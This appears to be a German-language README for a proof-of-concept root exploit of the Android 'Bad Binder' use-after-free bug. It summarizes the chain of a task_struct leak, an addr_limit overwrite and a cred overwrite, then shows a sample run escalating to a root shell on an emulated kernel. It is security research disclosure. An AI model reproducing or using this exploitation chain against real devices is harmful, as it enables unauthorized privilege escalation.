
Vollständiger Exploit für die Android-Sicherheitslücke Bad Binder, gefunden in frühen Google-Pixel-Telefonen.
Exploit für die Bad Binder-Sicherheitslücke in Android, geschrieben von @wired0ut.
Er nutzt den UAF aus, um task_struct zu leaken, überschreibt dann addr_limit und eskaliert Privilegien, indem der id-Block in cred überschrieben wird.
Der vollständige Ablauf der Forschung und Ausnutzung ist hier zu finden (Serie von 3 Teilen).
Es wurde auf dem goldfish Android-Kernel (arm64), Version 4.14, mit dem wieder eingeführten Patch getestet.
Beispielausführung:
~ $ whoami
whoami: unknown uid 1000
~ $ ./poc
[!] Starting first phase of exploit; task_struct leak...
[!] Created `binder_thread` and `binder_proc`...
[!] Added wait of binder_thread to `epoll_entry`...
[!] Filling pipes to block...
[!] Filling the iovecs to be overwritten...
[!] Entering blocked state...
[!] Triggering UAF...
[!] Left blocked state, it means we have signaled to not hang.
[*] Leaked task_struct @ 0xffffffc0fb3f0d80
[*] Successfully leaked task_struct ptr, now overwriting addr_limit...
[!] Pre-writing 1 byte to socket to advance iovec iterator to 12th...
[!] Created `binder_thread` and `binder_proc`...
[!] Added wait of binder_thread to `epoll_entry`...
[!] Creating msghdr with crafted iovecs...
[!] Entering recvmsg(...), should block until UAF...
[!] Triggering UAF...
[!] Overwriting addr_limit @ 0xffffffc0fb3f0d88 with 0xfffffffffffffffe
[*] addr_limit overwritten, leaking cred ptr @ 0xffffffc0fb3f1440
[*] cred_ptr @ 0xffffffc0fa45a300
[*] Overwriting entire id block in cred from 0xffffffc0fa45a304 to 0xffffffc0fa45a324
[*] You should now be r00t...
[*] getuid(): 0
[*] w00t w00t
/bin/sh: can't access tty; job control turned off
/ # whoami
whoami: unknown uid 0
Für weitere Informationen oder Anfragen kontaktieren Sie mich.